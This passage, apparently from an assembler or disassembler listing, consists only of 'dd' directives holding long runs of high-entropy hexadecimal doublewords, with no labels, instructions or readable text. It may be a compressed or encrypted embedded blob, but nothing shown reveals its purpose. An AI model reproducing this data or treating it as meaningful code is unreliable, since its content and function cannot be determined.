0C6B1E630h, 0D522B189h, 9EA7CC90h, 0E6006DE8h, 0F48EF5E4h dd 4C1622B6h, 0C445C8AFh, 0E60B1C26h, 0C419A6BDh, 487C6694h dd 0C321F60h, 0A1AF7F4Eh, 6EE15BAAh, 17E7FDF0h, 762968h dd 921C5DA4h, 0F703D8D1h, 0E6A9C0B7h, 58D62Dh, 0D040078Dh dd 97982845h, 80E7991Ch, 0B443BD56h, 5A20D1h, 75CB0699h dd 0EF18300Bh, 0F680C9C4h dd 88641D12h, 670458E3h, 9CD0B106h, 9840B58Dh, 0E62A0800h dd 5C1C734Fh, 0D4DA390Ah, 3D103F94h, 0ED0C0CAh, 89EC59D4h dd 507CCE09h, 0BE9B093Fh, 71B80726h, 0B893843Eh, 622018C7h dd 0FC1648h, 347A3033h, 0E6109B7Eh, 89D022F0h, 0FB460AA8h dd 5A41A0ABh, 7FC09F08h, 1338905Eh, 5DD4F480h, 43D9349Ch dd 0AD0D67DCh, 0CCBD4928h, 3C6B0F20h, 9B009029h, 0EE9880F2h dd 4F055B9Eh, 1A16ADE9h, 5852DE00h, 656D07h, 2869CA0Fh dd 0D0C05D80h, 0E2CE140Eh, 0C607C357h, 62ADC1A7h, 69300070h dd 149088D5h, 0C91AE92h, 0C08D8131h, 1D51107h, 6F343583h dd 5C51B8C1h, 3DD07ED0h, 9A0289C2h, 62EE91C4h, 9528E860h dd 18AC22E9h, 12E8F743h, 190E6FCh, 9796A0C6h, 45D0CAD1h dd 0B8605494h, 38BE0A19h, 0BD272028h, 0A800839Fh, 0AEA7AAA6h dd 0A1428190h, 31C0769Eh, 9844B0F1h, 8B9D449Ch, 0BE2600B8h dd 0E80B0C96h, 0C1881248h, 7FE16718h, 405DAC24h, 970028C3h dd 204455DDh, 8838A9E6h, 0FC90B3FBh, 0D27F8812h, 0BECC8844h dd 0B02690C8h, 92D1160Ch, 0C0881F8Ch, 75947151h, 0DB20A6D4h dd 3ED11025h, 44592716h, 32A609D4h, 80D8BD88h, 0F088CC93h dd 0DE0BC0DBh, 88929F20h, 5AF83820h, 544C4015h, 37B6684Ch dd 179C0D00h, 0B9B0EC0Ah, 0EAE1CFAh, 0E558C108h, 0BF884C8Fh dd 672E84E0h, 3894A3CCh, 5F349809h, 6220A8ACh, 0D8BEAB26h dd 80D3CF81h, 0A0832514h, 3A29D198h, 585CC800h, 4D38A6F3h dd 44D2182Dh, 82281845h, 0BDCA1B01h, 8803CDE4h, 27A8402Eh dd 97300146h, 4931091h, 0FC004056h, 876798Fh, 0D6B87B2Eh dd 2E041C4Eh, 40AA1805h, 9D00DF35h, 4222636Ch, 5BA767F7h dd 0C4E840A4h, 0DAD3EAFCh, 40E0E61Ah, 4A28E658h, 1F648858h dd 8B4D0890h, 0C74E0020h, 89830445h, 0C8F0C805h, 81B89103h dd 0E4AAE2F8h, 30550B4Ch, 0D818EA4Eh, 21D07DC3h, 154019Ch dd 2F05B52Eh, 0B12CD464h, 49DB00D0h, 7194F567h, 0AC80023Ah dd 0F7805CA3h, 0C9898EB1h, 4E2C0087h, 97DA3AE5h, 0B378FA51h dd 1295CD03h, 0F85A588Dh, 4F6876h, 51D4A60Fh, 28B51DB8h dd 0BC838700h, 90DF5C4h, 0FE5802A5h, 0B2465B6Bh, 0F26338C8h dd 58601082h, 9001978Eh, 229F4430h, 6E24703Ch, 560F5047h dd 804D02D4h, 9004692Ah, 961D0038h, 9152D1h, 0E6A8F980h dd 58CE6362h, 0D0BD05B5h, 9CE4BC44h, 0A8A0804Bh, 403934B9h dd 0C13E087Fh, 4CA849F1h, 17DB2240h, 44241FC9h, 0A40B1B40h dd 0A802318Ch, 4F80ADACh, 26A0E569h, 39E6C188h, 6018A67Dh dd 609DE300h, 7EC98C0h, 7E76289Ch, 8C2EA2EEh, 1C860960h dd 0C5EA2A0Eh, 6006E0ABh, 28B7F0h, 0A317E79Ah, 0C7DC4E69h dd 9649D401h, 2EE692A8h, 0D221C424h, 0B05800E1h, 0DD26FA47h dd 4081949Ch, 5B0145F7h, 4A466FEh, 4ED1EF60h, 0D89C8053h dd 5230E67Bh, 0A081B10Ah, 0C1BA247Ah, 3812B8C8h, 0D0341197h dd 4E8D274h, 0FCA584h, 0ED054E33h, 61EC009Ah, 0A0938328h dd 0E61813D2h, 23583CB2h, 0C9489CB5h, 7B761880h, 0C902220h dd 83E86700h, 0FCA8FAA3h, 3A811239h, 270376Eh, 0ECA0B6EBh dd 17592005h, 0DD1D517h, 9491F8A4h, 0E2978950h, 84482C84h dd 0F08CB548h, 0C8961CC4h, 1CFDA114h, 7E0CB175h, 1225686Fh dd 32EE2990h, 0D110E1DCh, 13892D4h, 0A76D78FAh, 0E9E69D3Bh dd 82209474h, 7C08BC4h, 5C06B868h, 1BF5F8B1h, 201FF0D1h dd 8AE6A2EFh, 7C2C08DCh, 0D8CC28C5h, 96D4B266h, 4382E2Ch dd 126A1C01h, 0ED60A080h, 671FE0B9h, 0CA2DC07Bh, 0A6C834F8h dd 33B32080h, 8E10C28Dh, 7D301FC0h, 0C91C378h, 0F11040A4h dd 50E9BE02h, 60C2FAD8h, 0C482DC3Bh, 15D8B8A1h, 5D038B4h dd 9D4081B6h, 89BD848h, 620BB205h, 33D014BBh, 0AE50C27Ch dd 8294A181h, 81095838h, 896FC30Eh, 6883FDE4h, 0C34A8A29h dd 0C8CF32D1h, 9E779CA5h, 90BF7930h, 0B5B2803Dh, 5E300C01h dd 0DD62F597h, 58CBCDD3h, 90415C3Ch, 149F4064h, 10D48971h dd 1F44234Eh, 0A48B2027h, 0E20BC714h, 2CB91882h, 0F077A0C4h dd 0D1634804h, 0DCB2DF30h, 268E7100h, 0BE091634h, 2CAD6600h dd 0AF9AB187h, 94FB5856h, 1EAE533h, 0A9F438B6h, 0E2BE618h dd 9B41280h, 0BC657B10h, 0F1001CF8h, 895E73C4h, 3F149907h dd 0B2981FBFh, 22F038A8h, 2659B080h, 80B88C80h, 0AB81B99Dh dd 66587195h, 79DA0320h, 0E0EC88FDh, 849AC768h, 94082849h dd 0E520024h, 1E198DB7h, 7A300304h, 0AE48B89h, 98AEFCE0h dd 2E9FE800h, 8629CE82h, 477F00C9h, 0B4146040h, 97EC90C0h dd 0E6284504h, 78905E93h, 6B17986h, 2C80626Bh, 0D125A9C6h dd 0F4F0D038h, 7FBB04AAh, 0C80E8093h, 0A54406B4h, 0A3BD1CBEh dd 0B8B5C499h, 0EF28F0C6h, 200347E8h, 2F80F99Bh, 0DE390078h dd 0B133E206h, 10C0ACFAh, 0DD6F566Dh, 847F2487h, 2DFD873Ch dd 0BA851095h, 962E535Fh, 0E6058E5Ah, 0F0CA5740h, 96ABCA12h dd 0F901D0D8h, 1829777h, 0D023F0FBh, 10202A2Ch, 62245244h dd 6A1E8018h, 0C3B8CB50h, 238D667h, 2B57E3CEh, 0B4E41398h dd 0F4B22DE0h, 0A230E6E8h, 0E85C1808h, 0D1C9127Bh, 91588675h dd 2BD2C27h, 4084AB80h, 0B604801Ch, 0CB600AD0h, 800753F4h dd 9E566A50h, 57E401BFh, 4FC46728h, 0C1622606h, 0A98400D4h dd 0DA4CC7F8h, 0CFFF2CC0h, 4ECB01DFh, 719031A4h, 6C0404F8h dd 0C2076D03h, 7ABF2082h, 619F5FC1h, 0C8936FCDh, 4C7CCA45h dd 0ED210260h, 0C0897833h, 2E98608h, 5292D68Fh, 14A0052Ch dd 0D18A37ACh, 508C4C00h, 0C68B31Dh, 573906BEh, 8019D680h dd 2694974Ch, 13274884h, 0D400070h, 0DB1287FAh, 4E03E103h dd 0AC8097E6h, 1B380A96h, 2C982EADh, 729ABFD8h, 0BC83A869h dd 582591A7h, 1B483FFh, 8852CD2Bh, 405AD809h, 94B362DCh dd 0EFCCA46Ch, 831141Fh, 0D20DD802h, 0AB0F0442h, 512892CDh dd 46E40824h, 6310711Ah, 0AC88E414h, 73BA0E81h, 0EA0B8063h dd 0DC985044h, 2A02FC87h, 51B27067h, 0B69180C8h, 21B74D0h dd 11E68E09h, 0F034C410h, 10156720h, 0AC6502ADh, 9B302C40h dd 0B1A8CC0Ah, 0F81D8898h, 0F85C1325h, 26A27773h, 5C2665h dd 0C40B2231h, 97A12E5Fh, 7C40D2F6h, 0F2004F5Ah, 8DB88485h dd 1EFB29h, 58685378h, 1B54A6FEh, 1D08058h, 5A2788DAh dd 0F8A0F8C0h, 0E62F0B08h, 0D8227C3Ah, 5F008A2Bh, 1D661550h dd 4E92CE79h, 9549251Eh, 60E0880h, 0E30058AAh, 616A538Fh dd 24BE429h, 8009C082h, 88C8466Ch, 580951D8h, 8045EEE6h dd 2FFE9A86h, 1BE1014Eh, 0A863FD1Ch, 0DF09E1AFh, 0CA561116h dd 0AD52BC5Eh, 2ACEE040h, 787007C4h, 9C33005Fh, 0B2FF9917h dd 56485AA1h, 0D4FA3E18h, 0E05F80DCh, 52969402h, 12A876F1h dd 8A0C1620h, 253070DCh, 302A6889h, 5D660E44h, 541D63C6h dd 102FCB5h, 0DF19BDFDh, 95C010E2h, 46030BC2h, 68032A24h dd 0EAD1C055h, 9AC81F4Ah, 0DC60C037h, 300A5853h, 29CC1500h dd 0CE33D472h, 3CC8BE08h, 40B2E5AFh, 58AB4448h, 5BD98018h dd 5DCBFA0h, 2BA7310Ah, 0C07C8526h, 0E910C450h, 590048BAh dd 0CC529D24h, 0B867B2C9h, 0D07E61F8h, 2CB7F6D8h, 28149618h dd 94C096A8h, 0B7BD7BE6h, 96354802h, 0A4ECCCE3h, 0B6006EDCh dd 0F34C5BE0h, 10FDC3A6h, 7B165DE5h, 909A38E0h, 0D6075805h dd 0E8819277h, 0EC280524h dd 17E30A1h, 6C605BB3h, 9005483Bh, 85F6BEC5h, 8128F010h dd 594840h, 9A294D09h, 0CEFE1AF4h, 0BD09C37Ah, 2371E73Ah dd 88B51F58h, 0F02996h, 0B35EA56Ch, 28C205D8h, 6A4B5C9Ch dd 0C574E2A0h, 0D19883ACh, 0B81E2E02h, 0D6C0B92Ch, 0FADB5856h dd 83B804C0h, 0D01DF0D1h, 0DD4E7BA0h, 944BC894h, 82E82008h dd 549D6D0Eh, 0D1C09F0Bh, 7FAD99F7h, 7C7E3080h, 0CBD8720h dd 0C824EA00h, 4FFDDC69h, 99E9013Fh, 0D84779CDh, 0D4F8C2D1h dd 0E6B2FA04h, 5CD0A090h, 7FC6DECh, 0E7583494h, 74BE3161h dd 0B0E1C2A9h, 23118962h, 0A0444CBDh, 0DC91E730h, 3BDEDEA1h dd 544838D9h, 2F9CB870h, 689236ABh, 202A4CC1h, 88BCB6A0h dd 0F04CCC26h, 0A844B328h, 5BD17F70h, 0DDDCC38Fh, 0DE4D1018h dd 4A4E7621h, 0D78C23E0h, 0E2490B4h, 0B13B702Ah, 80EB8579h dd 0D0B45C4Ch, 830200ADh, 44823024h, 2605C7B7h, 9A2FCBCEh dd 0FE60807h, 9F9158FCh, 81B25480h, 60C7A110h, 509DBF80h dd 0FD07B439h, 90375316h, 0E62EF099h, 0D444C6A2h, 6CC2884Ah dd 0C53CF24Fh, 0F03D8770h, 9FA307Ch, 1D0CD779h, 0A8FEE31Bh dd 73800C5Bh, 0FDB8AA02h, 0CA14BB0Bh, 0AF3CA08Ah, 71F0932h dd 0F1C05141h, 91AA32B7h, 9E652C60h, 58A0A800h, 264BFDF9h dd 7DC98A2h, 0FE8CE554h, 80DC6A80h, 2AAEFD0Eh, 0B6EAD192h dd 7AE8A4A0h, 30B9C903h, 0C8FA6711h, 0C04EFC80h, 585407B9h dd 4F0594E5h, 0C2D23B5Bh, 0E16084A1h, 568273C3h, 0E118E0B4h dd 0EE3610C9h, 0F769DE07h, 0B6C7F8D8h, 0E01C4B9Bh, 690F0DEFh dd 0A491A896h, 61D1C0D8h, 4C608D65h, 0DCA884C4h, 0EE919500h dd 0AB0C312Bh, 5B7903Ch, 876733DEh, 0E4A0DCD5h, 60214C9Eh dd 28EBF000h, 0B85B0498h, 7A70EE58h, 76921A03h, 0DEBD8068h dd 0E089858h, 840DBCF7h, 0A88D5904h, 9C6092BCh, 0B158CC67h dd 0B469CDCh, 2CE4525Dh, 0B304E920h, 0BED38138h, 0F4392B58h dd 9100A820h, 4615EBAh, 1E32ED23h, 288729Eh, 0FACDD201h dd 0B583BC54h, 0D2EEEDA6h, 816237h, 2B159108h, 0B2251FBAh dd 0C7400BC0h, 9F0C7C80h, 58A0ED26h, 2F00CFCEh, 1AAD497Eh dd 4F2995BDh, 56B844EAh, 0E798C1B4h, 0A733015Dh, 5A9187F8h dd 7FA043C8h, 80C4F7BAh, 0E5863FE8h, 16C00D00h, 464C54B4h dd 0BD2A06F2h, 0F826B6E6h, 0D0FAC92Ch, 401FE00Fh, 9348F45Dh dd 0FDDE26E6h, 0A48C230Ch, 1C3E02D8h, 0CC881E6h, 0B54F9523h dd 9028F03Dh, 0F3C80112h, 482C5D64h, 3AC3A30h, 0D471929Bh dd 0A9B5E260h, 0E298B3E0h, 4D45CEAh, 742DE6h, 0DD3B8A29h dd 980A0AB8h, 0C09EECh, 0F5FAA91Ch, 0FD00D04Dh, 5F419727h dd 1471F160h, 8C9433D9h, 0AF63C30Fh, 9DE89823h, 43521181h dd 0A14C2DA8h, 4E1DEA0h, 0D689E9D1h, 1F16E070h, 2404B58Dh dd 9C0009AFh, 0BD19A907h, 888CDC00h, 53B20CABh, 754E0572h dd 900E94D1h, 5B339820h, 0CE05D602h, 89803041h, 3258A508h dd 655A48B0h, 0B8F0A00Fh, 0D64C0188h, 0CDE72C9Ch, 0E0FDF024h dd 6984246Bh, 0F03D0014h, 0F7D836A3h, 0BE31D119h, 5C715670h dd 0B73C06Dh, 0EF4C2C87h, 304260C6h, 35810h, 0F5619A0Fh dd 6184A1B3h, 462A3040h, 32C031FCh, 15921680h, 82A80420h dd 79C3A3E6h, 0B5940F10h, 0C8E39991h, 80D99A09h, 88747431h dd 0CB37AC00h, 2353D4CFh, 0DD050F4Eh, 0B8896C46h, 0D0C99081h dd 0FD87F232h, 20ED3009h, 0A748409Eh, 29099C9Ch, 0A0547095h dd 3D2A51D8h, 80E1D2E6h, 0E8DE3813h, 0B05CB8B6h, 48700E4h dd 0D89FEB66h, 0EF2A2801h, 0E6300908h, 1453174Ch, 0F4012D16h dd 0C85604D1h, 9588E089h, 6712CC58h, 30C975BEh, 1385483Ch dd 0F2A8D27Bh, 2C38B4FCh, 962D2CFBh, 139829B0h, 842CA0h dd 1F1D7FDh, 1971AC84h, 0A6E2E618h, 0B0772051h, 88A49938h dd 2C1F9192h, 84900913h, 4CA3C5BEh, 0B814AC99h, 84D2F48Eh dd 0DB818334h, 3C8D684Bh, 3C8BAC64h, 0B44E87E9h, 0EB406288h dd 2E64B67h, 0FB42D1A0h, 535F7860h, 0C93DE00h, 45AECDF8h dd 91902FE1h, 7D8849h, 496CB6F0h, 9909E06Eh, 84718F71h dd 9CEF1B8Ah, 1172A20Ch, 984CF0EEh, 0B82D1D1Ch, 1CC813F6h dd 2494663Ch, 0E2B0802Ch, 5AC800Ch, 9F8EF203h, 5FC0FD1h dd 73EA8198h, 54E8A4AAh, 0CF6D8002h, 42908EF1h, 0B24593Ch dd 0CC40B51Dh, 8B9D4CD1h, 0C10C63E8h, 28A7CDB8h, 4672A846h dd 0B730F164h, 0AE0328A3h, 0B352883Ah, 0EF01100Bh, 0C0302265h dd 36780C67h, 5CEB6A00h, 2FD80A5Ah, 0A37D009Bh, 30A68CEEh dd 0E60E5857h, 36C16BC8h, 82F294C8h, 90090056h, 2604DBBAh dd 286718BCh, 4F38C338h, 7E808CD2h, 0B890203Fh, 0FF18286Ch dd 214824F8h, 0A04E0060h, 34982909h, 0C04244Bh, 7100060Ch dd 0F6CC80E1h, 6EA8FCA8h, 2A7C9095h, 0D10023Ah, 0E103E986h dd 5A12F2E0h, 27D83E01h, 7A918A7Fh, 980212Fh, 0F001054Bh dd 0C29DEC3Fh, 6A111070h, 7D919BEh, 25ADCC7h, 30F081BBh dd 70C8974Eh, 0C3992D2Eh, 0BC2E34A9h, 5859AD82h, 63A924C1h dd 846700F0h, 0D16F05AEh, 5CF4AAC0h, 65702ED0h, 968B8D8h dd 4025E632h, 0F19180h, 4A5C3CD4h, 29179BECh, 0AD3F15FCh dd 9D9400C0h, 602ADB61h, 672B0052h, 85B74EBDh, 0F9D5AD1h dd 0F57D615Ch, 0E6D02AE5h, 907E4F15h, 308E723Ch, 6587403h dd 0EBAE483Dh, 0D750B8AFh, 0FA370E67h, 0A86041FBh, 68E0D18Eh dd 90B1B983h, 0FA7843Ch, 0F7284033h, 1CCDD19Dh, 805120C4h dd 0AC437984h, 88E77208h, 0F9E2898h, 0D4EB4D6Fh, 8E66D080h dd 2062A614h, 7585D1D8h, 6C200Bh, 997C9627h, 0D180A468h dd 8F2881AAh, 31027F34h, 0A8A9119Ah, 4270C2B6h, 40145C0Ch dd 0BEC2F051h, 98800D09h, 4ED40103h, 0B8ECA0DDh, 596C92F3h dd 1F2EB0C1h, 0B48B1724h, 4E40DB74h, 0ED792ED7h, 23DF00A0h dd 2854C1ACh, 0A006E618h, 32808EA1h, 95B8F944h, 69CC76h dd 11720734h, 0F0FFFEABh, 110662E2h, 34E1BEB8h, 0E6788C99h dd 7AD0E117h, 792C90D1h, 1AC700E9h, 80EF6EAh, 0E6182BAFh dd 0B4280CCBh, 0E7613259h, 344BDD2Eh, 98189790h, 50000B74h dd 0A990AFC0h, 27482FFEh, 7804A4DCh, 8B64C1B8h, 8587D8Dh dd 4285080h, 0AC8718E6h, 2C0202F4h, 5E4E9967h, 8C3045A4h dd 3213D2E4h, 901796B8h, 0F884FC82h, 0C82D4B10h, 80F6711Ch dd 67EC0554h, 18760E2Dh, 3C493064h, 2FF915Bh, 4472312Bh dd 0A48F6A11h, 0D09DF2E0h, 0B871F9C8h, 1204A65Dh, 10A0BF80h dd 95712C8Bh, 87916480h, 5F031888h, 0AF31980h, 0EC298A28h dd 728F4FCCh, 0B99C32D3h, 0F70B145Eh, 1F0073Fh, 0B0E263C5h dd 8216F456h, 8680214Ah, 0C3B90189h, 40D43424h, 3B003104h dd 29870BA3h, 0E473C58Fh, 84B869h, 0E2598AB5h, 0CB4B30B9h dd 8B851E8h, 83C0C202h, 0A2F43FE6h, 0C933DBC0h, 2461C8A0h dd 4B6AC34h, 1DC4B2A6h, 8120F060h, 1C30214Bh, 124B4E5Ah dd 71E6863h, 59B713C4h, 0E856F909h, 94C2E824h, 0B8307BACh dd 8959F817h, 0D2C33144h, 821C4452h, 206DCF4Dh, 8E11770h dd 0FAAE126Bh, 0BDF000A6h, 8844495Fh, 99B68730h, 6D2CD1F2h dd 0E04938BCh, 98BE8B5Ch, 5084542Ch, 0ADCC5Eh, 3CFDA444h dd 0AA582941h, 9FD48707h, 0FC59F00Eh, 0A5262BB2h, 661A2099h dd 5178C458h, 3862244Ch, 584C923Bh, 93C5A2Eh, 88586787h dd 0AD08C001h, 2C46B37h dd 0EB79E860h, 5BFBFC50h, 45C49C4Ch, 48C49802h, 0CAA50313h dd 28A98844h, 28C0620Ah, 0C71D203Ch, 50B5971Eh, 23A0C609h dd 0C6A3D158h, 88BF17F8h, 9340C040h, 6C9428B3h, 69A5D84Ah dd 783C2AACh, 486915A1h, 0C09679D8h, 13672A09h, 96500254h dd 0BD77F431h, 7FB0C1h, 0BED5041Bh, 0B0C812C8h, 0DA506900h dd 181CC188h, 0B4E4861Bh, 0A282742Eh, 58810847h, 31527C8Ch dd 0BF78CEE3h, 1B3893EAh, 1C226008h, 0B88B15ABh, 47095800h dd 0B5D2BD50h, 90E02E69h, 6EFF1A0h, 5A82E9A8h, 0C04BC92Ah dd 0E1586081h, 0B82F5DF4h, 0ACCC48D3h, 680E44Ch, 9B9AE4DDh dd 0AB6025E0h, 64E62630h, 1A80C012h, 94F89FBh, 62501158h dd 0D0B03090h, 2E71E02Ch, 9D832D0h, 641A08F8h, 7B2EC880h dd 280173BDh, 2F615292h, 0A06CC795h, 8377C8A2h, 0E0942C80h dd 0E9521FAh, 4E30C2B8h, 79EA801Fh, 0E4862880h, 0D9C98900h dd 376B189Dh, 3E5FB092h, 7412D096h, 2D00001h, 0A86287C3h dd 0E07B8678h, 7E2811C5h, 0D1951402h, 526C682Ah, 83FD2E58h dd 51AF8134h, 34A9E62Eh, 0D324D14Ch, 0EF053076h, 0B8C4C380h dd 0ED27CC0h, 9EFC0729h, 0B1158228h, 0E1E6DA33h, 0E6C83554h dd 5B036854h, 818BD603h, 5874D538h, 5245F11h, 0B920F8ACh dd 6731C1CCh, 0A83C5881h, 4E640C9Eh, 0DA4BA991h, 7887CD6h dd 7E3EC999h, 93C41456h, 0F18148F8h, 30013A8Eh, 25DAAE2Dh dd 0A2C8C28h, 629CAEECh, 0A48AB51Ch, 44B24998h, 0B602C8F0h dd 19C8058h, 41F076AAh, 81C532E6h, 1260F7A9h, 0C2D9524h dd 2D54B0A4h, 88974024h, 78814842h, 52A894A0h, 6CAD9051h dd 9F6D2088h, 0FE4F1500h, 8428B1F3h, 1BF5032Bh, 0A0CE4E21h dd 0C08E7EF9h, 50B6922Fh, 71CE389Ch, 80F3E16Ah, 4C635732h dd 81247C78h, 0FA74208Ch, 186BD40h, 34032A15h, 6F435B7Ah dd 97288000h, 277B57B3h, 0CE0CDE4h, 0CF00750Fh, 0DC918CA3h dd 5D50E630h, 35FB4CEh, 0B71AD1A8h, 0C00BD027h, 0B2554E0h dd 0D585528Ah, 141D5859h, 5C891BC0h, 0D78328h, 0FC184E56h dd 0E9B302Ch, 0D892E107h, 60BD5DE6h, 0BC13947Dh, 136CF362h dd 14C851D7h, 5DDC01A6h, 2FA4B01h, 1FA43828h, 58CBB3BCh dd 31A585C0h, 9D80807h, 5B54FAD9h, 297C908Dh, 3FE9C293h dd 0BA75BC71h, 34261081h, 70565E84h, 4617FA14h, 3907B971h dd 0B180B7F7h, 919DFD67h, 0AE68870h, 4BFC60ADh, 774F2DD2h dd 14D17090h, 0C19461B5h, 1A4C167Ah, 78408070h, 7A60F1E6h dd 5058B540h, 1AD3747Fh, 50299F4Bh, 902474D2h, 583514D1h dd 79098067h, 829462F8h, 63F91C48h, 200242F6h, 0A180D192h dd 3D0F09A5h, 7CFD5981h, 2A7ADC29h, 4F6DE21Fh, 0A50BB42Ch dd 97BC0108h, 0A7A31D1h, 1D90502Ch, 0A9990F5Bh, 8292F89h dd 0F79E7A80h, 0A604234Eh, 84678804h, 2C707CE2h, 81045106h dd 12C1F603h, 64003145h, 7D0F295Ch, 9A48D1ECh, 0FE488010h dd 4A420836h, 9F5C0B76h, 0A81C3871h, 20219796h, 1C64C0D1h dd 34AB48FAh, 0C76E883h, 6870CEA2h, 9CE4E709h, 72438EF8h dd 11E5780Ch, 10B54823h, 0F8089496h, 0F6507FD8h, 0DD4C2ADCh dd 0C2285424h, 92308114h, 0B8A49D70h, 9E73FBC0h, 58B701CFh dd 0EAD75BE6h, 60F9FDEDh, 3700BD24h, 0BCA645B4h, 0EA4C357h dd 0B30D60A8h, 81EB6805h, 969024A4h, 0C490B094h, 9EA63067h dd 0A4640F4h, 96692D88h, 647E7088h, 0D199A8BEh, 37CBD70h dd 9AD081AFh, 959288Bh, 520ECD0h, 5EA602B0h, 9F40D545h dd 74826C64h, 82BBC451h, 5B4A96D2h, 0C804E080h, 39FC3AD1h dd 0B6B4495Bh, 0C351C901h, 0C18075F9h, 9186CC4h, 73B416D8h dd 0BE360DCCh, 8A8C24D1h, 13080452h, 0C0F6A14Ch, 0DC90044Ah dd 0D6C4EDCEh, 64A0F452h, 0CDDE2780h, 0F67078C0h, 64905F83h dd 13B4ECBCh, 0F4200C58h, 12EF1C9h, 7BDFDCC6h, 26056B67h dd 0FA1316F4h, 5709E0A8h, 0A70998F7h, 4C1470D4h, 308D9224h dd 0C472DBF1h, 3E1BAD38h, 0EDE090F2h, 4C4B9591h, 5C3130DDh dd 0B734053Ah, 3950E35Bh, 6A092E17h, 448F2C3Ch, 7AE80BC9h dd 14E1CB4h, 0F5D38E81h, 58B87E06h, 0DE0ABC9Eh, 0A0BC8CB5h dd 11C81CE8h, 440309B4h, 8B19E4C8h, 8106E117h, 9F55D801h dd 5020C1E9h, 918A06A9h, 0B06440D1h, 8CFF3701h, 0FC2BBF78h dd 0D091F16Ah, 0C6308834h, 9F9E9F5h, 73E7007Eh, 0A5A4E629h dd 0ECB86D47h, 91121500h, 0B320ACD8h, 572B0046h, 3926C232h dd 7212244Ah, 0E02131EFh, 21CD3706h, 1EB8C30h, 24A143BAh dd 7EB8FFD8h, 4C203C53h, 9DEC605Ah, 0A4F9E01Ah, 0F97EDC20h dd 0DF20B881h, 14C0742Bh, 0F08A89E6h, 0D8FF9D03h, 4582A1D3h dd 8898A4D0h, 70DB220h, 0B4C87315h, 699302EDh, 74F2AC4Bh dd 0D41C5702h, 185FE69Ch, 20671B40h, 68A4BEDEh, 0FF922h dd 0BF81AB88h, 5A270150h, 19E630C5h, 0B9288CB8h, 707F67D4h dd 98B6C332h, 5BB23800h, 7BA7094Fh, 19973ECh, 91D36EA2h dd 7FFE80F9h, 0D39E540Bh, 5E2990ECh, 0BC4E848h, 1C25A38Dh dd 4DC8B203h, 8B061AC8h, 2CBCB488h, 0BF80452Ch, 510B7B20h dd 60E18480h, 0CEF2A78h, 6DBEE5F0h, 0A3258258h, 776498C0h dd 0EC4700F0h, 2DFC7CD8h, 32989C2Ah, 8CD08818h, 3C3CE699h dd 448850Ch, 0D7DE2C02h, 74EAD89Bh, 9806080Bh, 0BA00293Dh dd 66DD9C31h, 719D40Fh, 87B849EEh, 0E6D700E9h, 90C09A3Fh dd 0E5BDEF13h, 822803BFh, 4B80EDC4h, 265638B8h, 0E002E625h dd 0A4B12150h, 865339ECh, 0CEB5F480h, 0F6D85739h, 8C1FACA0h dd 144CD05h, 0D4D89BA1h, 4E7D40CEh, 0E52E001h, 0BD8841F0h dd 0F60D034h, 0A328B8F9h, 0D577CE0h, 2302054Eh, 48EAD1CDh dd 0B8C859A4h, 402E1516h, 0B4D8E7ACh, 720446C8h, 0DBCE30E6h dd 0D2023C81h, 0A08EC047h, 0B30E6054h, 528CF9E8h, 2AC81779h dd 54B6C0A1h, 0B60FCC4h, 0C87DFBEh, 289873h, 31B66436h dd 0E0D782B1h, 34A2CE4Ah, 3F07EF00h, 9DE69C93h, 8064BC04h dd 4BAA75F2h, 1C469BE0h, 6D53C30Ah, 0F100CC7Ch, 0B46FE2B8h dd 26590772h, 49CBE5E9h, 8021B424h, 7428557Eh, 0B660C809h dd 300C00D7h, 2E17F07Ch, 43892EAh, 0E2DC5654h, 0E8945EF4h dd 1DA83CB0h, 0D3982483h, 0A73C0CE6h, 8113C111h, 70C87E90h dd 21054FF2h, 0F15EB38Ch, 30306BE8h, 959F095Ah, 8C81544Bh dd 5418A4C4h, 1540301h, 0F84CC159h, 22735B8Eh, 2CF907F0h dd 0F0DAAE42h, 5EB82DE4h, 0D7D13018h, 2468C241h, 0F5668082h dd 8C803C5Ch, 5BA021C3h, 9B31002Bh, 0BA655363h, 4601A920h dd 0E63350E1h, 2032F8AAh, 8009C427h, 5C5070EAh, 0AF80590Ch dd 780AB9BBh, 80B15B5Ah, 58E9AC4h, 917F9504h, 0A0C128E1h dd 0BC002F87h, 5C07BAD3h, 0B302D854h, 2C12784Ah, 0FCC6E0D2h dd 89708834h, 0EDF58204h, 0AE0023ABh, 55EE82h, 808F5158h dd 0E6160926h, 54A079ABh, 0DBC21203h, 81B0785Ch, 0A0C87FE1h dd 47CFF901h, 20EBC0D3h, 0E77C4EEEh, 0BB036AE4h, 0C4D18A12h dd 0BB0002Dh, 819D3DDEh, 0B0B7A74Fh, 229FD4h, 0F40AF136h dd 32FC79D8h, 0BA23C400h, 342667BDh, 0DD970B5Eh, 1484F1D1h dd 0C128AC87h, 0FFE2E62Bh, 0A212E096h, 0EE301604h, 0A598400h dd 1E9BC0E1h, 2BF0B98h, 4D87CEF9h, 10078F4h, 0C931517Fh dd 52BD2E97h, 9CC70FCCh, 0A9EE7960h, 6107D7C4h, 749A236Dh dd 0D1EADAD0h, 0D9A7F591h dd 49822C43h, 30380B55h, 4232AF48h, 0FD0E00DBh, 0D1615F92h dd 9003B7DFh, 0C1F08132h, 4E02177Dh, 0E4D0DEE9h, 3E2CE0C8h dd 2AFE3EA0h, 0D1130900h, 86C08454h, 5E64E627h, 0FCE8250Ch dd 61229E27h, 0F14841C6h, 0DD082064h, 1013B914h, 60020208h dd 0D5C054D3h, 0C0DB832h, 301C0810h, 36AB9100h, 93707834h dd 2BFC3D22h, 5AD8828Fh, 59E75C02h, 8894A458h, 0C45B8B52h dd 80C2E228h, 0A14A48B4h, 5ABF1092h, 2D709B8Ch, 0B8313464h dd 0A8E1289Eh, 38D4263Fh, 2C9DB35Eh, 0C860ED0h, 8B806664h dd 29009431h, 9BEB2487h, 101DC01Bh, 24D41FD2h, 0A01E9059h dd 52B22660h, 42983BD4h, 0F86C1DEh, 0CCF96800h, 0D851D446h dd 37AC34F0h, 8000AB71h, 9790B93Ch, 0BCEC0029h, 0D88698E4h dd 0A82CB5E1h, 0D90024B3h, 0AE5EB6EEh, 98E619DBh, 0EC224095h dd 0AC3A9631h, 0DD4F073Fh, 5C275902h, 40E96502h, 0E0462660h dd 49B49E2Fh, 2A96A4D1h, 0C05F7CA2h, 653E8050h, 58058CA5h dd 50851660h, 565F5849h, 0F2D1625Ch, 320110DEh, 0EE5BAFBh dd 946C30h, 0E98C9F8Dh, 0DD4ED486h, 0BBE0B700h, 91A6484Fh dd 10305CB9h, 938502Eh, 0C0B2F5A1h, 2653F1C1h, 26B00B88h dd 0E6E068D5h, 160892ECh, 0A0D702E9h, 0B200A664h, 35276128h dd 